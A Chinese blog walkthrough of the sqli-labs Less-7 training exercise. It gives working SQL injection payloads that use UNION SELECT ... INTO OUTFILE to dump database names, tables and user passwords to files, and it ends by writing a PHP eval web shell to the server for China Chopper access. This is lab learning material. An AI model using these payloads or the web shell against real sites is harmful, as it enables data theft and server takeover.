sqli-labs Less-7

Less-7 GET - Dump into outfile -String
1.原页面 在这里插入图片描述
2. 分析是哪种类型注入
?id=1
在这里插入图片描述
?id=1’
在这里插入图片描述
?id=1”
在这里插入图片描述
?id=1’ or 1=1–+
在这里插入图片描述
将查询语句后半段注释掉发现仍然报错
说明有括号。
?id=1’) or 1=1–+ 在这里插入图片描述

?id=1’)) or 1=1–+
在这里插入图片描述
推断查询语句为:Select * from users where id=((‘$id’))

查看源代码:在这里插入图片描述
3.查询字段
在这里插入图片描述
在这里插入图片描述对文件读取前提:1. 用户权限足够高,尽量具有root权限
2. Secure_file_priv不为NULL
测试权限:
?id=1’)) and (select count(*) from mysql.user)>0–+
在这里插入图片描述
回显正常说明有权限

secure_file_priv不能为null
在这里插入图片描述
注意:在Mysql中,需要注意路径转义的问题,即用\\分隔。

4.查看用户 数据库 版本
?id=0’)) union select version(),user(),database() into outfile “C:\\phpstudy\\WWW\\sqli\\Less-7\\a.txt”–+"
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
5.查看表名
?id=0’)) union select 1,2,table_name from information_schema.tables where table_schema=‘security’ into outfile “C:\\phpstudy\\WWW\\sqli\\Less-7\\b.txt”–+"
在这里插入图片描述
在这里插入图片描述
6.查看字段名
?id=0’)) union select 1,2,column_name from information_schema.columns where table_name=‘users’ into outfile “C:\\phpstudy\\WWW\\sqli\\Less-7\\c.txt”–+"
在这里插入图片描述
在这里插入图片描述

7.查看用户名 密码
?id=0’)) union select 1,username,password from users into outfile “C:\\phpstudy\\WWW\\sqli\\Less-7\\d.txt”–+"
在这里插入图片描述
在这里插入图片描述
8.也可以使用中国菜刀连接
?id=-1’)) union select 1,2,’<?php @eval($_POST[“abc”]);?>’ into outfile “C:\\phpstudy\\WWW\\sqli\\Less-7\\2.php”–+
在这里插入图片描述
在这里插入图片描述

自己的一点理解 有错误的地方欢迎指正。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值